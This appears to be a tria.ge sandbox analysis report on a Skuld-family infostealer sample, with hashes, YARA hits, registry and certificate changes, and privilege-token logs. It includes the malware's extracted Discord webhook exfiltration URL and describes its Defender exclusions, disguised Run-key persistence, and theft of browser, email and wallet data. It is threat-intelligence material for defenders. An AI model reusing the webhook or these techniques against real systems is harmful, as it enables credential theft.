Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
26/06/2024, 00:50
Behavioral task
behavioral1
Sample
2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe
Resource
win10v2004-20240508-en
General
-
Target
2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe
-
Size
9.5MB
-
MD5
3df7235123bbc4c52d379fe372ac0045
-
SHA1
da818e86cf02fffcacbe468b8bb63e7a1da91ad9
-
SHA256
daf5ea8c5e1f7bdf0a5f12c8671b14642d6e3349390629da9f7dc754e610fafd
-
SHA512
a3f86b6a3afe12098f503edcc96c585b8fef60fd23dcb03653888c8e63e977f8d4b23fc8803acfc41f59f8923401ab7978342c4b9e7fd7a0357070950d7d0558
-
SSDEEP
98304:FcJW4J6EdbyvYB8LY0iyo4tTEyzxqFgzC13h:QnJ6EIwAY0iyrtAyzPC13h
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1238433893808607232/L-4VX5UhdUB3u0Rm9Q2PK-IFjyExOgtlCYofIfDjLcneVNTB6DlwIRxcFxSylsPnZ2GS
Signatures
-
Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables Discord URL observed in first stage droppers 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_EXE_DiscordURL -
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
Detects executables containing URLs to raw contents of a Github gist 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL -
Detects executables containing possible sandbox system UUIDs 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs -
Detects executables referencing virtualization MAC addresses 1 IoCs
resource yara_rule behavioral2/files/0x0009000000023546-2.dat INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3972 powershell.exe 3680 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 25 discord.com 26 discord.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 api.ipify.org 4 api.ipify.org 9 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3176 wmic.exe 2876 wmic.exe -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 10 Go-http-client/1.1 -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 3972 powershell.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 3972 powershell.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 5104 powershell.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 5104 powershell.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1944 2024-06-26_3df7235123bbc4c52d379fe372ac0045_ngrbot_poet-rat_snatch.exe Token: SeIncreaseQuotaPrivilege 756 wmic.exe Token: SeSecurityPrivilege 756 wmic.exe Token: SeTakeOwnershipPrivilege 756 wmic.exe Token: SeLoadDriverPrivilege 756 wmic.exe Token: SeSystemProfilePrivilege 756 wmic.exe Token: SeSystemtimePrivilege 756 wmic.exe Token: SeProfSingleProcessPrivilege 756 wmic.exe Token: SeIncBasePriorityPrivilege 756 wmic.exe Token: SeCreatePagefilePrivilege 756 wmic.exe Token: SeBackupPrivilege 756 wmic.exe Token: SeRestorePrivilege 756 wmic.exe Token: SeShutdownPrivilege 756 wmic.exe Token: SeDebugPrivilege 756 wmic.exe Token: SeSystemEnvironmentPrivilege 756 wmic.exe Token: SeRemoteShutdownPrivilege 756 wmic.exe Token: SeUndockPrivilege 756 wmic.exe Token: SeManageVolumePrivilege 756 wmic.exe Token: 33 756 wmic.exe Token: 34 756 wmic.exe Token: 35 756 wmic.exe Token: 36 756 wmic.exe Token: SeIncreaseQuotaPrivilege 756 wmic.exe Token: SeSecurityPrivilege 756 wmic.exe Token: SeTakeOwnershipPrivilege 756 wmic.exe Token: SeLoadDriverPrivilege 756 wmic.exe Token: SeSystemProfilePrivilege 756 wmic.exe Token: SeSystemtimePrivilege 756 wmic.exe Token: SeProfSingleProcessPrivilege 756 wmic.exe Token: SeIncBasePriorityPrivilege 756 wmic.exe Token: SeCreatePagefilePrivilege 756 wmic.exe Token: SeBackupPrivilege 756 wmic.exe Token: SeRestorePrivilege 756 wmic.exe Token: SeShutdownPrivilege 756 wmic.exe Token: SeDebugPrivilege 756 wmic.exe Token: SeSystemEnvironmentPrivilege 756 wmic.exe Token: SeRemoteShutdownPrivilege 756 wmic.exe Token: SeUndockPrivilege 756 wmic.exe Token: SeManageVolumePrivilege 756 wmic.exe Token: 33 756 wmic.exe Token: 34 756 wmic.exe Token: 35 756 wmic.exe Token: 36 756 wmic.exe Token: SeIncreaseQuotaPrivilege 3176 wmic.exe Token: SeSecurityPrivilege 3176 wmic.exe Token: SeTakeOwnershipPrivilege 3176 wmic.exe Token: SeLoadDriverPrivilege 3176 wmic.exe Token: SeSystemProfilePrivilege 3176 wmic.exe Token: SeSystemtimePrivilege 3176 wmic.exe Token: SeProfSingleProcessPrivilege 3176 wmic.exe Token: SeIncBasePriorityPrivilege 3176 wmic.exe Token: SeCreatePagefilePrivilege 3176 wmic.exe Token: SeBackupPrivilege 3176 wmic.exe Token: SeRestorePrivilege 3176 wmic.exe Token: SeShutdownPrivilege 3176 wmic.exe Token: SeDebugPrivilege 3176 wmic.exe Token: SeSystemEnvironmentPrivilege 3176 wmic.exe Token: SeRemoteShutdownPrivilege 3176 wmic.exe Token: SeUndockPrivilege 3176 wmic.exe Token: SeManageVolumePrivilege 3176 wmic.exe Token: 33 3176 wmic.exe Token: 34 3176 wmic.exe Token: 35 3176 wmic.exe Token: 36 3176 wmic.exe -
Suspicious use of WriteProcessMemory 32 IoCs
